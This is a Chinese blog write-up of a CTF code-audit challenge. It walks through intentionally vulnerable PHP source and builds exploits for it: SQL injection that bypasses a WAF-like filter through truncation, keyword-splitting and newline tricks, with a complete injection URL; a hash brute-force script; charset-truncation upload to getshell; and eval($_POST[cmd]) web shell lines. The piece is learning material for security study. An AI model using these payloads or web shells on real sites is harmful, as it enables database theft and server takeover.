代码审计学习(五)三个白帽绕过waf注入

作者: 分类: 代码审计 时间: 2016-04-25 浏览: 29341 评论: 5条评论

一直觉得自己sql注入还不错 直到遇到雨牛这个题 Orz
我是雨牛的脑残粉 :)

按照惯例 先上代码 如果看到奇怪的echo,只是我的调试代码~

0x01 热身

read.php~

<?php  
$file=isset($_GET['file'])?$_GET['file']:'';

if(empty($file)){
exit('The file parameter is empty,Please input it');    
}

if( preg_match('/.php/i',$file) && is_file($file) ){
    die("The parameter is not allow contain php!"); //
}

if( preg_match('/admin_index|\.\/|admin_xx_modify/i',$file) ){
    die('Error String!');
}

$realfile = 'aaaaaa/../'.$file; //prevent to use agreement

if(!@readfile($realfile)){
    exit('File not exists');
}
?>

看到第一个if 是&&一个is_file 那么只要后面为假就可以了

但是又要readfile能读到文件 所以用在文件名前面加斜杠 像这样
http://6b47fcaa8f7909ec4.jie.sangebaimao.com/read.php?file=/search.php

获取各种源码
先看search页面

search.png

search.php

<?php
include 'common.php' ;
header('Content-type:text/html;charset=utf'); 
mysql_conn();
?>

<p>

    为什么会有这认证码呢,是因为上次小明的老板来巡视的时候,发现这个系统储存了很多重要的信息,所以他希望这个系统变得更安全,然后他就啪啪啪的写了几行代码,<br>
    然后就让自己的qq号变成了认证码了.<br>
    虽然这让系统变得更安全,但是就苦了我们的小明了. 因为老板的qq号是个垃圾号, 十分的难记. 每次登陆系统的时候,小明就必须去翻一下本地的记录,找到qq号.<br>
但是时间长了,小明实在觉得很烦, 就决定把老板的qq号记录进数据库,然后每次就进去这个界面,用某种不为人知的方法来得到qq号.<br>
</p>

<center><form action="search.php" method="POST">
<input type="text" name="search">
<input type="submit" value="Search"></center>
<br>

<?php
if(!empty($search)){
    $result = mysql_fetch_array(mysql_query("select qq from qq where qq like '$search'"));
    mysql_close();
    if($result){
        echo "<center style=\"font-size:36px; color:red\">$result[qq]</center>";
    }else{
        echo "<center style=\"font-size:36px; color:red\">无此记录</center>";
    }
}
?>
<center><a href="login.php?act=login">再次尝试登录。</a></center>

看到search页面的查询语句 是用like的形式 而且回显结果

select qq from qq where qq like '$search'

果断输入%号 发现不行

search2.png

看看过滤了什么

common.php

<?php 
header('Content-type:text/html;charset=utf-8');
error_reporting(E_ALL ^ E_NOTICE);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);

foreach($_POST AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}

foreach($_GET AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);    //不允许使用COOKIE创建变量
}

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){          
            $filter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\(|@{1,2}\w+?\s*|\s+?.+?|.*(`|'|\").+(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM\s+?|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|FROM\s.?|\(select|\(\sselect|\bunion\b|select\s.+?";//过滤子查询各种
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $value=check_sql($value);
            #echo "\n<br>\$value=$value<br>";
            webscan_StOpAttack($key,$value,$filter,"GET");
            #echo "\$value=$value<br>";
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }

    }
return $array;
}

function webscan_St0pAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
    
        if (preg_match("/".$ArrFiltReq."/i",$StrFiltValue)==1){
            exit('Hey boy,I\'m 360!');
        }
        
        if (preg_match("/".$ArrFiltReq."/i",$StrFiltKey)==1){
            exit('Hey boy,I\'m 360!');
        }
}

function check_sql($str) {
    $count=0;
    for ($i = 0; $i < strlen($str); $i++) {
        if($str[$i]=='\\'){ 
            $count++; 
        } 
    } 
    if($count && $count % 2 == 0){ 
        exit('evil string'); 
    } 
    #echo "zheli";
    #echo "<br>$str<br>";
    $check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str); 
    if($check) { 
        #echo "\$str=$str";
        exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
    }

    $newstr="";
    while($newstr!=$str){
        $newstr=$str;
        $str = str_replace("union", "", $str);
        $str = str_replace("update", "", $str);
        $str = str_replace("into", "", $str);
        $str = str_replace("exec", "", $str);
        $str = str_replace("select", "", $str);
        $str = str_replace("delete", "", $str);
        $str = str_replace("declear"," ",$str);
        $str = str_replace("insert", "", $str);
    }
    return $str;
}

function webscan_StOpAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {

    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1  || strpos(strtolower(urlencode($StrFiltValue)),'%0b')){
        exit('Hey boy,I\'m 360!');
    }
    
    if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        exit('Hey boy,I\'m 360!');
    }
}


function mysql_conn(){
    $conn=mysql_connect('localhost','root','root') or die('could not connect'.mysql_error());
    mysql_query('use test');
    mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);
}

?>

喵的好像过滤了很多东西 有点乱
没关系 直接定位到回显的那句话 在check_sql函数中

$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str); 
        if($check) { 
            #echo "\$str=$str";
            exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
        }

看到过滤了百分号,没事 匹配符还有下划线
百分号匹配任意个字符,下划线匹配单个字符 burp跑一下 10个下划线的时候得到结果

search3.png

输入这个qq号进入login.php页面

login.png

0x02 常规思路

看到框的第一反应就是试一下雨牛的常用密码0.0 结果没对 233

来看一下login.php

<?php
include('common.php');
include('function.php');
session_start();
header('Content-type:text/html;charset=gbk');
mysql_conn();

if ($_SESSION[login] == 1) {
    header('Location:/sgbm/admin_index.php');
}

if ($_SESSION[checkcode] == 1) {
    ?>
    
    <center style="color:red;font-size:24">后台管理</center><br>
    <form action="login.php?act=login" method="POST">
        用户名:<input type="text" id="username" name="username" size="50px"><br>
        密 码 :<input type="text" id="password" size="50px" name="password">
        <br>
        <input type="submit" value="Submit to login" name="submit">
    </form>
    <?php

    if ($submit) {
        
        if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) {  //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com
                exit("Email Wrong!");
        }
                
        foreach ($_REQUEST as $key => $value){
            if (strpos($value, '(')) {
                    $filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
                    webscan_St0pAttack($key, $value, $filter, "GET");
            }
        }       
                
        if(empty($id)){
            $id = 0;
        }
        
        $id=preg_replace('#[^\w\s]#i','',$id);
        
        if (strlen($username) > 20) {
            $username = substr($username, 0, 20); 
        }

        if ($act == 'login') {
            $sql = "select * from admin where username='$username' or id='$id' or email = '$email'";
            $result = @mysql_fetch_array(mysql_query($sql));
            
            mysql_close();

            if ($result) {
                if (think_ucenter_md5($password, $result['salt']) === $result['password']) {
                    $_SESSION['login'] = 1;
                    $_SESSION['auth'] = 1;
                    echo "<center style=\"font-size:36px; color:red\"><a href=\"./sgbm/admin_index.php\">Click jump to the Backstage</a></center>";
                } else {
                    exit('<script>alert("Password of the account is not right")</script>');
                }
            } else {
                exit('<script>alert("The account is not exists")</script>');
            }
        } else {
            exit('<script>alert("Please login!login!login!login!login!login!login!login!login!login!login!login!")</script>');
        }
    }
} else {
    ?>

    <?php
    $result = mysql_fetch_array(mysql_query("select qq from qq limit 1"));
    mysql_close();
    $qq = $result[qq]; ?>

    <form action="login.php" method="GET">
        <p style="text-align: center; color: red">凭认证码进入后台</p>
        <center>认证码:<input type="text" name="admincode">  <input type="submit" value="check"></center>
        
    </form>
    <?php

    if (!empty($admincode)) {
        if ($admincode != $qq) {
            echo '<script>alert("认证码错误")</script>';
            exit ('<script language=javascript>window.location.href="search.php"</script>');
        } else {
            $_SESSION[checkcode] = 1;
            echo '<script language=javascript>window.location.href="login.php"</script>';
        }

    }
}
?>

看看我们感兴趣的地方 自然是跳转到./sgbm/admin_index.php

if ($act == 'login') {
    $sql = "select * from admin where username='$username' or id='$id' or email = '$email'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    
    if ($result) {
        if (think_ucenter_md5($password, $result['salt']) === $result['password']) {
            $_SESSION['login'] = 1;
            $_SESSION['auth'] = 1;
            echo "<center style=\"font-size:36px; color:red\"><a href=\"./sgbm/admin_index.php\">Click jump to the Backstage</a></center>";

想要进if查询$result必须要有结果 看一下 think_ucenter_md5 函数

function think_ucenter_md5($str, $key = 'ThinkUCenter')
{
    return '' === $str ? '' : md5(sha1($str) . $key);
}

返回的是md5(sha1($str).$key)
所以应该是union注入了

看看$username,$id,$email哪个能被控制
在common.php中我们看到 程序用Add_S函数处理输入 然后注册$_POST,$GET的变量,销毁在$_COOKIE里的变量

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);

foreach($_POST AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}

foreach($_GET AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);    //不允许使用COOKIE创建变量
}

并且在Add_S中进行了全局转义 $sql语句是

$sql = "select * from admin where username='$username' or id='$id' or email = '$email'";

全部带了引号 想注入的话 首先是逃逸引号 这种情况下一般是截断
往上看一点 很温馨的找到了

if (strlen($username) > 20) {
            $username = substr($username, 0, 20); 
        }

如果长度大于20 就只取前20个字符 那我们只要输入 aaaaaaaaaaaaaaaaaaa' 19个a加一个单引号
就会被转义成 aaaaaaaaaaaaaaaaaaa' 21个字符
截取后为 aaaaaaaaaaaaaaaaaaa\ 转义了'$username' 拼接后的单引号
不过check_sql函数的过滤了

function check_sql($str) {
    $count=0;
    for ($i = 0; $i < strlen($str); $i++) {
        if($str[$i]=='\\'){ 
            $count++; 
        } 
    } 
    if($count && $count % 2 == 0){ 
        exit('evil string'); 
    }
        $check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str);

不能用单引号 双引号 斜杠是偶数的话也不行 就是说斜杠也不能用
不过我们还有%00 转义后是\0 还有个小问题 $_POST是不会默认解码的
但是common.php中

foreach($_POST AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key]; //伪register globals
}

foreach($_GET AS $_key=>$_value){
    !preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}

$_POST先于$_GET注册 所以我们可以在url传递参数覆盖$username
来试一波

username.png

1.php是简化过的login 本地测试的时候去掉一些繁琐的验证和跳转可以节省很多时间
可以看到成功逃逸了引号 看一下$id的限制

if(empty($id)){
    $id = 0;
}
$id=preg_replace('#[^\w\s]#i','',$id);

\w表示字母数字下划线 \s表示任意空白 ^取反 外面的i表示大小写不敏感
意思就是说$id只能是字母数字下划线空白 目前$sql为

select * from admin where username='aaaaaaaaaaaaaaaaaaa\' or id='0' or email = ''

剧情需要 id的值要能连接俩个字符串 这里选择用or来连接 check_sql函数中

$check= preg_match('/select|\'|\"|,|%|insert|update|delete|union|into|load_file|outfile|or|\/\*/i', $str); 
if($check) { 
    exit ("The data is unable to submit,Because it contain dengerous string,Please check it and clear it.");
}
while($newstr!=$str){
$newstr=$str;
$str = str_replace("union", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("into", "", $str);
$str = str_replace("exec", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("declear"," ",$str);
$str = str_replace("insert", "", $str);
}
return $str;

过滤了or 但是下面将一些字符替换成空 而且是大小写不敏感
这个函数相当于只过滤了 ' " , % 这几个字符
于是用oexecr绕过 测试一下

email1.png

现在的$sql

select * from admin where username='aaaaaaaaaaaaaaaaaaa\' or id='or' or email = ''

看看$email的限制

if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) {  //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com
    exit("Email Wrong!");
}

/\A\w+[-+_]*\s?\w+@\w+.\w{2,4}(\Z|.\w{2,4})/

\A 开始标记类似^符号 \Z 结束标记类似$符号 区别在于这俩个不受换行限制
[]中的字符可选 * 重复任意次 {m,n}匹配2到4次
这里需要注意\Z标记 贴个图就懂了

email2.png

所以我们先满足email的正则 接下来可以随意搞
还有一点小问题 输入的$email前面是字符串 所以$email开始的字符要能连接字符串
前面已经说过只能是union注入了 很自然的想到用union

$email = union select@qq.com.cn,2,3,4,5 %23

这是一开始的想法 @是mysql变量起始符号 和php中的$类似 测试一下

mysql1.png

可以过 那就来绕一下过滤 首先逗号是不能有的 我们可以用join

mysql2.png

但是select后只能接@ 这样的话 $sql就得像这个样子

union select @id.com.cn,name,pass from
((select id from admin)a join (select username from admin)b join (select password from a
dmin)c join (select salt from admin)d join (select email from admin)e)

再次引入了逗号
这里卡了很久
最后重新看了这个正则(其实是基友的提醒)

/\A\w+[-+_]*\s?\w+@\w+.\w{2,4}(\Z|.\w{2,4})/

发现可以这样绕

like-- admin@qq.com.cn%0a1 union select * from ((select id from admin)a join (select username from admin)b join (select password from admin)c join (select salt from admin)d join (select email from admin)e)

这里%0a是换行 用来打断--空格的注释 看看效果

mysql3.png

很好
check_sql函数上面已经说过了 Unioexecn seleexecct就可以绕过
看看那个超级复杂的正则中对union和select有影响的部分

UNION.+?SELECT((|@{1,2}\w+?\s|\s+?.+?|.(|'|\").+(|'|")\s*)
(select|(\sselect|\bunion\b|select\s.+?

然后进入 webscan_StOpAttack($key,$value,$filter,"GET");

function webscan_StOpAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {

    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1  || strpos(strtolower(urlencode($StrFiltValue)),'%0b')){
        exit('Hey boy,I\'m 360!');
    }
    
    if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        exit('Hey boy,I\'m 360!');
    }
}

这里/$ArrFiltReq/is s表示模式中的点号元字符匹配所有字符,包含换行符
先看简单的这条 (select|(\sselect|\bunion\b|select\s.+?
(\sselect这里\s忘记了匹配多次 可以用 (%0a%0aselect的方式绕过
select\s.+? 可以用select(1)的方式绕过
\bunion\b 是匹配unoin这个单词 也比较简单 只要在前面加上字母数字就可以了
像这样

mysql4.png

再看第一条

UNION.+?SELECT((|@{1,2}\w+?\s|\s+?.+?|.(|'|\").+(|'|")\s*)

union select后面不能接空格,不能接空白,反引号
这样的话上面的select\s就要改一下 用select+1的形式 +的编码是%2b
把上面的综合一下 $sql变成了

like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn Seexeclect*from((%0ASeexeclect%2b1)a join (%0a%0aSeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b1)d join (%0A%0ASeexeclect%2b1)e))%23

然而还没结束

login.php

foreach ($_REQUEST as $key => $value){
    if (strpos($value, '(')) {
        $filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
    webscan_St0pAttack($key, $value, $filter, "GET");
    }
}

当发现请求的数据里面有左扩号的时候又进行了一次过滤,这里放了个水 用的webscan_St0pAttack函数

function webscan_St0pAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) {
    
        if (preg_match("/".$ArrFiltReq."/i",$StrFiltValue)==1){
            exit('Hey boy,I\'m 360!');
        }
        
        if (preg_match("/".$ArrFiltReq."/i",$StrFiltKey)==1){
            exit('Hey boy,I\'m 360!');
        }
}

区别就在没有了s标记 那么这里的正则都可以用%0a来绕过 但是不能用0x
$sql 为

like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn%0a(  Seexeclect*%0afrom((%0A%0ASeexeclect%2b1)a join (%0A%0ASeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b1)d join (%0A%0ASeexeclect%2b1)e ))%23

本地测试弹窗password not right
服务器测试弹窗 accout not exists
说明本地字段数不对 添加一个字段后 服务器测试弹窗password not right
我们的目标是要think_ucenter_md5($password, $result['salt']) === $result['password']
hash值的结果是随机的 可能会有字母 但是我们无法输入字母 因为引号和0x都被过滤了

我的想法是 生成一个只有数字的hash值 py脚本如下

#!/usr/bin/env python
import hashlib,itertools
def md5():
    i=0
    a=[c for c in "abcdefghijklmnopqrstuvwxyz"]
    for j in itertools.product(a,repeat=10):
        pow = "".join(j)
        i=i+1
        print i,
        str1=hashlib.md5(pow).hexdigest()+"SALT"
        str2=hashlib.md5(str1).hexdigest()
        if (str2.isdigit()):
            print pow
            exit(0)
        else:
            pass
        # pass

if __name__=="__main__":
    md5()

新增的字段位置无法确定 提交6次请求遍历一遍就可以了
最后的payload

login.php?act=login&username=0123456789012345678%00&id=oexecr&email=like-- a@abc.com.cn%0a1 oexecr id=8e0Unioexecn%0a(  Seexeclect*%0afrom((%0A%0ASeexeclect%2b1)a join (%0A%0ASeexeclect%2b1)b join (%0A%0ASeexeclect%2b1)c join (%0A%0ASeexeclect%2b86989721238789742522421481132813)d join (%0A%0ASeexeclect%2b1)e join (%0a%0aSeexeclect%2b1)f))%23

密码输入 aaaaanvejr 结果

houtai.png

没有错.. 只是进入了后台~

0x03 深入的思考

终于铺垫完了 来进入正题
对于这个正则

if ($email && !preg_match("/\A\w+[-+_]*\s?\w+@\w+\.\w{2,4}(\Z|\.\w{2,4})/", $email)) {  //允许输入 yu@qq.com || yu@qq.com.cn || yu_a@qq.com || yu-x@qq.com

还可以这样绕

email=oexecr@qq.com.cn oexecr username=8.0unexecioN%0a(  seexeclecT

用or来连接@ 过了正则再union 非常自然
对于这个过滤

    $filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
    

直接用hex函数就可以了 select的时候unhex一下

hex.png

其实还可以这样

function think_ucenter_md5($str, $key = 'ThinkUCenter')
{
    return '' === $str ? '' : md5(sha1($str) . $key);
}

$str是空的时候返回空 那么只要控制选出的$password是空就可以了

mysql7.png

后来雨牛跟我说p师傅绕过了0x的限制 表示目瞪口呆
赶紧回去再看一遍代码和笔记 恍然大悟

foreach ($_REQUEST as $key => $value){
    if (strpos($value, '(')) {
    $filter = "UNION.+?SELECT|SELECT.+?FROM|MD5|0x|\/\*|\.\.\/|\.\/";
    webscan_St0pAttack($key, $value, $filter, "GET");
    }
}

webscan_St0pAttack 函数是大小写敏感的 无论是0x还是0X都不能用
唯一的可能就是不进入这个if
再看到前面

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);    //不允许使用COOKIE创建变量
}

那么只用unset掉$_REQUEST 就可以了 膜拜p牛

0x04 截断上传

后台的代码

上传部分 admin_yu_upload.php

<?php
session_start();
include('../common.php');
mysql_conn();

?>
    <center style="color:red;font-size:36px">File upload!</center><br>
    <form enctype="multipart/form-data" action="" method="post">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
<?php

if ($_FILES) {

    if (!is_uploaded_file($_FILES['file']['tmp_name'])) {//是否存在文件
        exit('not exists');
    }

    $max_file_size = 20000;
    $allowtype = '.jpg .gif .png';
    $file = $_FILES["file"];
    if ($max_file_size < $file["size"]) {//检查文件大小
        exit('Your file is so big,Please reduce it');
    }
    $content = file_get_contents($file[tmp_name]);
    if (strpos($content, '<?php')) {
        exit('the file that you upload is contain dengerous content,please check it');
    }
    $filename = $file['name'];
    $filetype = strtolower(strrchr($filename, "."));
    if (!in_array($filetype, explode(" ", $allowtype))) {
        exit('You can only upload .jpg or .gif or .png');
    }
    $destination_folder = './uploads/';
    $destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";
    if (!file_exists($destination_folder)) 
        mkdir('./' . $destination_folder, 0777, true);
    $file_pre = md5(time());

    if (!getimagesize($file[tmp_name])) {
        exit('error img');
    }
    $realname = $file_pre . $filetype;
    $destination = $destination_folder . $realname;

    //$destination = './uploads/'.date('Y', time()) . "/" . date('m', time()) . "/" . md5(time()) . $filetype;

    if (move_uploaded_file($file[tmp_name], $destination)) {
        $file[name] = addslashes($file[name]);
        mysql_query("Insert into files(filename,realname,path) values ('$file[name]','$realname','$destination_folder')");
        mysql_close();
        @unlink($_FILES['file']['tmp_name']);
        exit('Upload success');
    } else {
        exit('Upload falid');
    }

}

这里检测了后缀 一般来说是无法绕过的 于是提供了一个改名的功能
admin_yu_filemanage.php

<?php 
session_start();
include('../common.php');
mysql_conn();

?>
<center style="color:red;font-size:36px">Commit the file you want to rename</center><br>
<form action="admin_yu_filemanage.php">
filename:<input type="text" name="filename"><br>
realname:<input type="text" name="realname"><br>
<input type="submit" value="motify" name="motify">
</form>
<?php
if($motify=='motify'){
    $result = @mysql_fetch_array(mysql_query("select * from files where filename = '$filename' and realname = '$realname'"));
    if(!empty($filename) && !empty($realname)){
        if($result){
            if(rename($result[path].$result[realname],$result[path].$result[filename])){
                exit('rename success');
            }
        }else{
            exit('No the file where in the database');
        }
    }
}
?>

登陆进这个管理文件页面是进不去的 去掉session就可以进去了 (之前后台目录可以遍历 没登陆就进去了)

select * from files where filename = '$filename' and realname = '$realname'

这里无法逃逸引号 那只有截断
截断有俩种 一个是字符集 一个是长度
来看一下长度的

mysql8.png

不知道filename字段长度没有关系 输入一个超长的 然后用burp爆破 看什么时候能返回正常就可以了
再来说字符集 用雨师傅的原话

第二种是利用截断:

当表的字符集是utf8_general_ci时,测试SQL:Insert into table values (concat('ab', 0x80, 'cd')),因为0x80不是有效的UTF-8字符,所以只有ab被写入数据库中,cd会被截断。

当表的字符集是gbk_chinese_ci时,测试SQL:Insert into table values (concat('ab', 0x8027, 'cd')),因为0x8027不是有效的gbk字符,所以只有ab被写入数据库中,cd会被截断。

xx.php%80.jpg 到数据库中就会是xx.php 再rename 成功getshell

这里是不能用00截断的。 因为00截断 在传递到_FILES里面的时候就已经被截断了
Yu.php%00.jpg 这样传递到_FILES里 其实files[name]就是yu.php
导致了通不过后缀的验证。只有通过mysql数据库对字符集来校验数据,发现非法数据时会抛弃其后续数据来达到截断 getshell。

mysql9.png

只剩最后俩个检测了

if (!getimagesize($file[tmp_name])) {
   exit('error img');
   }
$content = file_get_contents($file[tmp_name]);
   if (strpos($content, '<?php')) {
        exit('the file that you upload is contain dengerous content,please check it');
}

上面这个 用正常的jpg头绕过 就是把php代码加到一个图片里面
下面这个 也比较常见
可以这样 <? eval($_POST[cmd]); ?>
也可以这样 <script language=php>eval($_POST[cmd]);</script>

flag在网站根目录找到

如果有其他巧妙的绕过思路 欢迎留言交流

标签: none

订阅本站(RSS)

已有 5 条评论

  1. 瞬间懵逼:)

    时间: 2016-04-26 at 18:28 回复
  2. Faith4444

    强,无敌

    时间: 2016-05-01 at 18:50 回复
  3. 太叼了!!

    时间: 2016-05-04 at 09:07 回复
  4. 除了膜拜还能说什么2333

    时间: 2016-06-04 at 20:19 回复
  5. Aklis

    受益匪浅!

    时间: 2016-08-21 at 15:46 回复

添加新评论